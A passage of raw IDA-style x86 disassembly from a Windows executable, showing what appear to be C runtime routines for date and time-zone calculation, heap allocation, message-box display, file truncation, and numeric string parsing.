sub_41EA02+1F7j ... cmp edi, ebp jz short loc_41EC2A neg ecx mov dword_43A8F0, ecx loc_41EC2A: ; CODE XREF: sub_41EA02+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43A8F4, eax jz short loc_41EC52 push 3 push esi push off_43A980 call sub_416BE0 mov eax, off_43A980 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41EC5A ; --------------------------------------------------------------------------- loc_41EC52: ; CODE XREF: sub_41EA02+10Bj ; sub_41EA02+115j ... mov eax, off_43A980 and byte ptr [eax], 0 loc_41EC5A: ; CODE XREF: sub_41EA02+40j ; sub_41EA02+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41EA02 endp ; =============== S U B R O U T I N E ======================================= sub_41EC60 proc near ; CODE XREF: sub_41C0B6+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43A8F4, edi jnz short loc_41EC74 loc_41EC6D: ; CODE XREF: sub_41EC60+148j ; sub_41EC60+150j ... xor eax, eax jmp loc_41EDC0 ; --------------------------------------------------------------------------- loc_41EC74: ; CODE XREF: sub_41EC60+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43A988 jnz short loc_41EC92 cmp eax, dword_43A998 jz loc_41ED94 loc_41EC92: ; CODE XREF: sub_41EC60+24j cmp dword_46B840, edi jz loc_41ED6A movzx ecx, word_46B8EE push ecx cmp word_46B8E0, di movzx ecx, word_46B8EC push ecx movzx ecx, word_46B8EA push ecx movzx ecx, word_46B8E8 push ecx jnz short loc_41ECE4 movzx ecx, word_46B8E4 push edi push ecx movzx ecx, word_46B8E6 push ecx movzx ecx, word_46B8E2 push ecx push eax push ebx jmp short loc_41ECF8 ; --------------------------------------------------------------------------- loc_41ECE4: ; CODE XREF: sub_41EC60+65j movzx ecx, word_46B8E6 push ecx push edi movzx ecx, word_46B8E2 push edi push ecx push eax push edi loc_41ECF8: ; CODE XREF: sub_41EC60+82j push ebx call sub_41EE0C movzx eax, word_46B89A add esp, 2Ch cmp word_46B88C, di push eax movzx eax, word_46B898 push eax movzx eax, word_46B896 push eax movzx eax, word_46B894 push eax jnz short loc_41ED52 movzx eax, word_46B890 push edi push eax movzx eax, word_46B892 push eax movzx eax, word_46B88E push eax push dword ptr [esi+14h] push ebx loc_41ED47: ; CODE XREF: sub_41EC60+108j push edi call sub_41EE0C add esp, 2Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED52: ; CODE XREF: sub_41EC60+C8j movzx eax, word_46B892 push eax push edi movzx eax, word_46B88E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41ED47 ; --------------------------------------------------------------------------- loc_41ED6A: ; CODE XREF: sub_41EC60+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41EE0C push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41EE0C add esp, 58h loc_41ED94: ; CODE XREF: sub_41EC60+2Cj ; sub_41EC60+F0j mov edx, dword_43A98C mov eax, dword_43A99C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41EDC4 cmp ecx, edx jl loc_41EC6D cmp ecx, eax jg loc_41EC6D cmp ecx, edx jle short loc_41EDD8 cmp ecx, eax jge short loc_41EDD8 loc_41EDBE: ; CODE XREF: sub_41EC60+166j ; sub_41EC60+16Aj mov eax, ebx loc_41EDC0: ; CODE XREF: sub_41EC60+Fj ; sub_41EC60+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41EDC4: ; CODE XREF: sub_41EC60+144j cmp ecx, eax jl short loc_41EDBE cmp ecx, edx jg short loc_41EDBE cmp ecx, eax jle short loc_41EDD8 cmp ecx, edx jl loc_41EC6D loc_41EDD8: ; CODE XREF: sub_41EC60+158j ; sub_41EC60+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41EDFF xor ecx, ecx cmp eax, dword_43A990 setnl cl loc_41EDFB: ; CODE XREF: sub_41EC60+1AAj mov eax, ecx jmp short loc_41EDC0 ; --------------------------------------------------------------------------- loc_41EDFF: ; CODE XREF: sub_41EC60+18Ej xor ecx, ecx cmp eax, dword_43A9A0 setl cl jmp short loc_41EDFB sub_41EC60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE0C proc near ; CODE XREF: sub_41EC60+99p ; sub_41EC60+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41EEA7 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41EE37 shl esi, 2 mov eax, dword_43A9A0[esi] jmp short loc_41EE40 ; --------------------------------------------------------------------------- loc_41EE37: ; CODE XREF: sub_41EE0C+1Ej shl esi, 2 mov eax, dword_43A9D4[esi] loc_41EE40: ; CODE XREF: sub_41EE0C+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_41EE7A imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41EE84 ; --------------------------------------------------------------------------- loc_41EE7A: ; CODE XREF: sub_41EE0C+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41EE84: ; CODE XREF: sub_41EE0C+6Cj cmp [ebp+arg_10], 5 jnz short loc_41EEC2 cmp [ebp+arg_8], 0 jnz short loc_41EE98 mov esi, dword_43A9A4[esi] jmp short loc_41EE9E ; --------------------------------------------------------------------------- loc_41EE98: ; CODE XREF: sub_41EE0C+82j mov esi, dword_43A9D8[esi] loc_41EE9E: ; CODE XREF: sub_41EE0C+8Aj cmp ecx, esi jle short loc_41EEC2 sub ecx, 7 jmp short loc_41EEC2 ; --------------------------------------------------------------------------- loc_41EEA7: ; CODE XREF: sub_41EE0C+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41EEB8 mov ecx, dword_43A9A0[eax*4] jmp short loc_41EEBF ; --------------------------------------------------------------------------- loc_41EEB8: ; CODE XREF: sub_41EE0C+A1j mov ecx, dword_43A9D4[eax*4] loc_41EEBF: ; CODE XREF: sub_41EE0C+AAj add ecx, [ebp+arg_18] loc_41EEC2: ; CODE XREF: sub_41EE0C+7Cj ; sub_41EE0C+94j ... cmp [ebp+arg_0], 1 jnz short loc_41EEF3 mov eax, [ebp+arg_1C] mov dword_43A98C, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43A988, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43A990, eax jmp short loc_41EF48 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: sub_41EE0C+BAj mov eax, [ebp+arg_1C] mov dword_43A99C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43A8F8 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43A9A0, eax jns short loc_41EF2B add eax, 5265C00h dec ecx mov dword_43A9A0, eax jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41EE0C+110j mov edx, 5265C00h cmp eax, edx jl short loc_41EF42 sub eax, edx inc ecx mov dword_43A9A0, eax loc_41EF3C: ; CODE XREF: sub_41EE0C+11Dj mov dword_43A99C, ecx loc_41EF42: ; CODE XREF: sub_41EE0C+126j mov dword_43A998, ebx loc_41EF48: ; CODE XREF: sub_41EE0C+E5j pop esi pop ebx pop ebp retn sub_41EE0C endp ; =============== S U B R O U T I N E ======================================= sub_41EF4C proc near ; CODE XREF: sub_41D05F+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41EF5D add esp, 0Ch retn sub_41EF4C endp ; =============== S U B R O U T I N E ======================================= sub_41EF5D proc near ; CODE XREF: sub_41EF4C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_46CB81[eax], cl jnz short loc_41EF8A cmp [esp+arg_4], 0 jz short loc_41EF83 movzx eax, word_437F2A[eax*2] and eax, [esp+arg_4] jmp short loc_41EF85 ; --------------------------------------------------------------------------- loc_41EF83: ; CODE XREF: sub_41EF5D+16j xor eax, eax loc_41EF85: ; CODE XREF: sub_41EF5D+24j test eax, eax jnz short loc_41EF8A retn ; --------------------------------------------------------------------------- loc_41EF8A: ; CODE XREF: sub_41EF5D+Fj ; sub_41EF5D+2Aj push 1 pop eax retn sub_41EF5D endp ; =============== S U B R O U T I N E ======================================= sub_41EF8E proc near ; CODE XREF: sub_41D7B5+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_46B8FC, ebx push esi push edi jnz short loc_41EFDD push offset aUser32_dll ; "user32.dll" call dword_4210C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_41F013 mov esi, dword_4210C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_46B8FC, eax jz short loc_41F013 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_46B900, eax call esi ; GetProcAddress mov dword_46B904, eax loc_41EFDD: ; CODE XREF: sub_41EF8E+Bj mov eax, dword_46B900 test eax, eax jz short loc_41EFFC call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_41EFFC mov eax, dword_46B904 test eax, eax jz short loc_41EFFC push ebx call eax ; GetLastActivePopup mov ebx, eax loc_41EFFC: ; CODE XREF: sub_41EF8E+56j ; sub_41EF8E+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_46B8FC ; MessageBoxA loc_41F00F: ; CODE XREF: sub_41EF8E+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41F013: ; CODE XREF: sub_41EF8E+1Cj ; sub_41EF8E+33j xor eax, eax jmp short loc_41F00F sub_41EF8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F017 proc near ; CODE XREF: sub_41D972+22p ; sub_41D972+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_41F038 test esi, esi jnz short loc_41F032 push 1 pop esi loc_41F032: ; CODE XREF: sub_41F017+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_41F038: ; CODE XREF: sub_41F017+12j ; sub_41F017+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41F097 mov eax, dword_46CCA8 cmp eax, 3 jnz short loc_41F063 mov eax, [ebp+arg_0] cmp eax, dword_46CCA0 ja short loc_41F082 push eax call sub_419011 mov edi, eax pop ecx test edi, edi jnz short loc_41F0AD jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F063: ; CODE XREF: sub_41F017+30j cmp eax, 2 jnz short loc_41F082 cmp esi, dword_43A164 ja short loc_41F082 mov eax, esi shr eax, 4 push eax call sub_419AB4 mov edi, eax pop ecx test edi, edi jnz short loc_41F0C1 loc_41F082: ; CODE XREF: sub_41F017+3Bj ; sub_41F017+4Aj ... push esi push 8 push dword_46CCA4 call dword_42114C ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_41F0BB loc_41F097: ; CODE XREF: sub_41F017+26j cmp dword_46B694, 0 jz short loc_41F0BB push esi call sub_418A88 test eax, eax pop ecx jz short loc_41F0C4 jmp short loc_41F038 ; --------------------------------------------------------------------------- loc_41F0AD: ; CODE XREF: sub_41F017+48j push [ebp+arg_0] loc_41F0B0: ; CODE XREF: sub_41F017+ABj push 0 push edi call sub_415390 add esp, 0Ch loc_41F0BB: ; CODE XREF: sub_41F017+7Ej ; sub_41F017+87j mov eax, edi loc_41F0BD: ; CODE XREF: sub_41F017+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41F0C1: ; CODE XREF: sub_41F017+69j push esi jmp short loc_41F0B0 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F017+92j xor eax, eax jmp short loc_41F0BD sub_41F017 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DA17 loc_41F0C8: ; CODE XREF: sub_41DA17+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_46C940, esi jle short loc_41F11B loc_41F0D7: ; CODE XREF: sub_41DA17+1702j mov eax, dword_46B928 mov eax, [eax+esi*4] test eax, eax jz short loc_41F112 test byte ptr [eax+0Ch], 83h jz short loc_41F0F6 push eax call sub_415960 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41F0F6 inc edi loc_41F0F6: ; CODE XREF: sub_41DA17+16D0j ; sub_41DA17+16DCj cmp esi, 14h jl short loc_41F112 mov eax, dword_46B928 push dword ptr [eax+esi*4] call sub_415C9B mov eax, dword_46B928 pop ecx and dword ptr [eax+esi*4], 0 loc_41F112: ; CODE XREF: sub_41DA17+16CAj ; sub_41DA17+16E2j inc esi cmp esi, dword_46C940 jl short loc_41F0D7 loc_41F11B: ; CODE XREF: sub_41DA17+16BEj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41DA17 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F120 proc near ; CODE XREF: sub_41DDF6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_415B90 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_46CA60 jnb loc_41F255 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_46C960[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41F255 push 1 push esi push ebx call sub_41C447 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41F25F push 2 push esi push ebx call sub_41C447 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41F25F push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41F202 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_415390 push 8000h push ebx call sub_41FD5A add esp, 14h mov [ebp+arg_4], eax loc_41F1B6: ; CODE XREF: sub_41F120+BDj mov eax, 1000h cmp edi, eax jge short loc_41F1C1 mov eax, edi loc_41F1C1: ; CODE XREF: sub_41F120+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41CCC7 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41F1DF sub edi, eax test edi, edi jle short loc_41F1F5 jmp short loc_41F1B6 ; --------------------------------------------------------------------------- loc_41F1DF: ; CODE XREF: sub_41F120+B5j cmp dword_46B638, 5 jnz short loc_41F1F2 mov dword_46B634, 0Dh loc_41F1F2: ; CODE XREF: sub_41F120+C6j or esi, 0FFFFFFFFh loc_41F1F5: ; CODE XREF: sub_41F120+BBj push [ebp+arg_4] push ebx call sub_41FD5A pop ecx pop ecx jmp short loc_41F242 ; --------------------------------------------------------------------------- loc_41F202: ; CODE XREF: sub_41F120+71j jge short loc_41F242 push 0 push [ebp+arg_4] push ebx call sub_41C447 push ebx call sub_41DD62 add esp, 10h push eax call dword_421010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41F242 mov dword_46B634, 0Dh call dword_421088 ; RtlGetLastWin32Error mov dword_46B638, eax loc_41F242: ; CODE XREF: sub_41F120+E0j ; sub_41F120:loc_41F202j ... push 0 push [ebp+arg_0] push ebx call sub_41C447 add esp, 0Ch mov eax, esi pop edi jmp short loc_41F262 ; --------------------------------------------------------------------------- loc_41F255: ; CODE XREF: sub_41F120+1Aj ; sub_41F120+36j mov dword_46B634, 9 loc_41F25F: ; CODE XREF: sub_41F120+4Ej ; sub_41F120+63j or eax, 0FFFFFFFFh loc_41F262: ; CODE XREF: sub_41F120+133j pop esi pop ebx leave retn sub_41F120 endp ; =============== S U B R O U T I N E ======================================= sub_41F266 proc near ; CODE XREF: sub_41E261+2Bp ; sub_41E261+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_41F27C cmp ecx, esi jnb short loc_41F27F loc_41F27C: ; CODE XREF: sub_41F266+10j push 1 pop eax loc_41F27F: ; CODE XREF: sub_41F266+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_41F266 endp ; =============== S U B R O U T I N E ======================================= sub_41F287 proc near ; CODE XREF: sub_41F340+40p ; sub_41F340+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41F266 add esp, 0Ch test eax, eax jz short loc_41F2B9 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41F266 add esp, 0Ch test eax, eax jz short loc_41F2B9 inc dword ptr [esi+8] loc_41F2B9: ; CODE XREF: sub_41F287+19j ; sub_41F287+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41F266 add esp, 0Ch test eax, eax jz short loc_41F2D1 inc dword ptr [esi+8] loc_41F2D1: ; CODE XREF: sub_41F287+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41F266 add esp, 0Ch pop edi pop esi retn sub_41F287 endp ; =============== S U B R O U T I N E ======================================= sub_41F2E5 proc near ; CODE XREF: sub_41F340+30p ; sub_41F340+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_41F2E5 endp ; =============== S U B R O U T I N E ======================================= sub_41F313 proc near ; CODE XREF: sub_41F8D8+1C8p ; sub_41FDD0+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41F313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F340 proc near ; CODE XREF: sub_41F407+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41F3B4 push edi mov [ebp+arg_8], eax loc_41F367: ; CODE XREF: sub_41F340+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_41F2E5 push ebx call sub_41F2E5 lea eax, [ebp+var_10] push eax push ebx call sub_41F287 push ebx call sub_41F2E5 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_41F287 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41F367 xor edx, edx pop edi loc_41F3B4: ; CODE XREF: sub_41F340+21j ; sub_41F340+9Fj cmp [ebx+8], edx jnz short loc_41F3E1 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_41F3B4 ; --------------------------------------------------------------------------- loc_41F3E1: ; CODE XREF: sub_41F340+77j mov esi, 8000h loc_41F3E6: ; CODE XREF: sub_41F340+B9j test [ebx+8], esi jnz short loc_41F3FB push ebx call sub_41F2E5 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_41F3E6 ; --------------------------------------------------------------------------- loc_41F3FB: ; CODE XREF: sub_41F340+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_41F340 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F407 proc near ; CODE XREF: sub_41E5AA+17p ; sub_41E5D7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41F442: ; CODE XREF: sub_41F407+52j mov cl, [edi] cmp cl, 20h jz short loc_41F458 cmp cl, 9 jz short loc_41F458 cmp cl, 0Ah jz short loc_41F458 cmp cl, 0Dh jnz short loc_41F45B loc_41F458: ; CODE XREF: sub_41F407+40j ; sub_41F407+45j ... inc edi jmp short loc_41F442 ; --------------------------------------------------------------------------- loc_41F45B: ; CODE XREF: sub_41F407+4Fj push 4 pop esi loc_41F45E: ; CODE XREF: sub_41F407+AEj ; sub_41F407+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41F6E1 ; default ; jumptable 0041F46A case 10 jmp off_41F8A8[eax*4] ; switch jump loc_41F471: ; DATA XREF: seg001:off_41F8A8o cmp bl, 31h ; jumptable 0041F46A case 0 jl short loc_41F482 cmp bl, 39h jg short loc_41F482 loc_41F47B: ; CODE XREF: sub_41F407+C4j ; sub_41F407+118j push 3 jmp loc_41F69F ; --------------------------------------------------------------------------- loc_41F482: ; CODE XREF: sub_41F407+6Dj ; sub_41F407+72j cmp bl, byte_438130 jnz short loc_41F491 loc_41F48A: ; CODE XREF: sub_41F407+124j push 5 jmp loc_41F6D7 ; --------------------------------------------------------------------------- loc_41F491: ; CODE XREF: sub_41F407+81j movsx eax, bl sub eax, 2Bh jz short loc_41F4B7 dec eax dec eax jz short loc_41F4AB sub eax, 3 jnz loc_41F77A jmp loc_41F53A ; --------------------------------------------------------------------------- loc_41F4AB: ; CODE XREF: sub_41F407+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41F45E ; --------------------------------------------------------------------------- loc_41F4B7: ; CODE XREF: sub_41F407+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41F45E ; --------------------------------------------------------------------------- loc_41F4C0: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o cmp bl, 31h ; jumptable 0041F46A case 1 mov [ebp+var_10], edx jl short loc_41F4CD cmp bl, 39h jle short loc_41F47B loc_41F4CD: ; CODE XREF: sub_41F407+BFj cmp bl, byte_438130 jz loc_41F595 cmp bl, 2Bh jz short loc_41F50F cmp bl, 2Dh jz short loc_41F50F cmp bl, 30h jz short loc_41F53A loc_41F4E8: ; CODE XREF: sub_41F407+207j cmp bl, 43h jle loc_41F77A cmp bl, 45h jle short loc_41F508 cmp bl, 63h jle loc_41F77A cmp bl, 65h jg loc_41F77A loc_41F508: ; CODE XREF: sub_41F407+EDj push 6 jmp loc_41F6D7 ; --------------------------------------------------------------------------- loc_41F50F: ; CODE XREF: sub_41F407+D5j ; sub_41F407+DAj ... dec edi push 0Bh jmp loc_41F6D7 ; --------------------------------------------------------------------------- loc_41F517: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o cmp bl, 31h ; jumptable 0041F46A case 2 jl short loc_41F525 cmp bl, 39h jle loc_41F47B loc_41F525: ; CODE XREF: sub_41F407+113j cmp bl, byte_438130 jz loc_41F48A cmp bl, 30h jnz loc_41F6EF loc_41F53A: ; CODE XREF: sub_41F407+9Fj ; sub_41F407+DFj mov eax, edx jmp loc_41F45E ; --------------------------------------------------------------------------- loc_41F541: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o mov [ebp+var_10], edx ; jumptable 0041F46A case 3 loc_41F544: ; CODE XREF: sub_41F407+184j cmp dword_43812C, edx jle short loc_41F55D movzx eax, bl push esi push eax call sub_418576 pop ecx pop ecx push 1 pop edx jmp short loc_41F56B ; --------------------------------------------------------------------------- loc_41F55D: ; CODE XREF: sub_41F407+143j mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41F56B: ; CODE XREF: sub_41F407+154j test eax, eax jz short loc_41F58D cmp [ebp+var_4], 19h jnb short loc_41F585 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41F588 ; --------------------------------------------------------------------------- loc_41F585: ; CODE XREF: sub_41F407+16Cj inc [ebp+var_8] loc_41F588: ; CODE XREF: sub_41F407+17Cj mov bl, [edi] inc edi jmp short loc_41F544 ; --------------------------------------------------------------------------- loc_41F58D: ; CODE XREF: sub_41F407+166j cmp bl, byte_438130 jnz short loc_41F5FC loc_41F595: ; CODE XREF: sub_41F407+CCj mov eax, esi jmp loc_41F45E ; --------------------------------------------------------------------------- loc_41F59C: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o cmp [ebp+var_4], 0 ; jumptable 0041F46A case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41F5B5 loc_41F5A8: ; CODE XREF: sub_41F407+1ACj cmp bl, 30h jnz short loc_41F5B5 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41F5A8 ; --------------------------------------------------------------------------- loc_41F5B5: ; CODE XREF: sub_41F407+19Fj ; sub_41F407+1A4j ... cmp dword_43812C, edx jle short loc_41F5CE movzx eax, bl push esi push eax call sub_418576 pop ecx pop ecx push 1 pop edx jmp short loc_41F5DC ; --------------------------------------------------------------------------- loc_41F5CE: ; CODE XREF: sub_41F407+1B4j mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41F5DC: ; CODE XREF: sub_41F407+1C5j test eax, eax jz short loc_41F5FC cmp [ebp+var_4], 19h jnb short loc_41F5F7 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41F5F7: ; CODE XREF: sub_41F407+1DDj mov bl, [edi] inc edi jmp short loc_41F5B5 ; --------------------------------------------------------------------------- loc_41F5FC: ; CODE XREF: sub_41F407+18Cj ; sub_41F407+1D7j cmp bl, 2Bh jz loc_41F50F cmp bl, 2Dh jz loc_41F50F jmp loc_41F4E8 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o cmp dword_43812C, edx ; jumptable 0041F46A case 5 mov [ebp+var_24], edx jle short loc_41F62F movzx eax, bl push esi push eax call sub_418576 pop ecx pop ecx push 1 pop edx jmp short loc_41F63D ; --------------------------------------------------------------------------- loc_41F62F: ; CODE XREF: sub_41F407+215j mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41F63D: ; CODE XREF: sub_41F407+226j test eax, eax jz loc_41F6EF mov eax, esi jmp short loc_41F6A0 ; --------------------------------------------------------------------------- loc_41F649: ; CODE XREF: sub_41F407+63j ; DATA XREF: seg001:off_41F8A8o lea ecx, [edi-2] ; jumptable 0041F46A case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41F659 cmp bl, 39h jle short loc_41F69D loc_41F659: ; CODE XREF: sub_41F407+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41F6D5 dec eax dec eax jz short loc_41F6C9 sub eax, 3 jnz loc_41F77D loc_41F66E: ; CODE XREF: 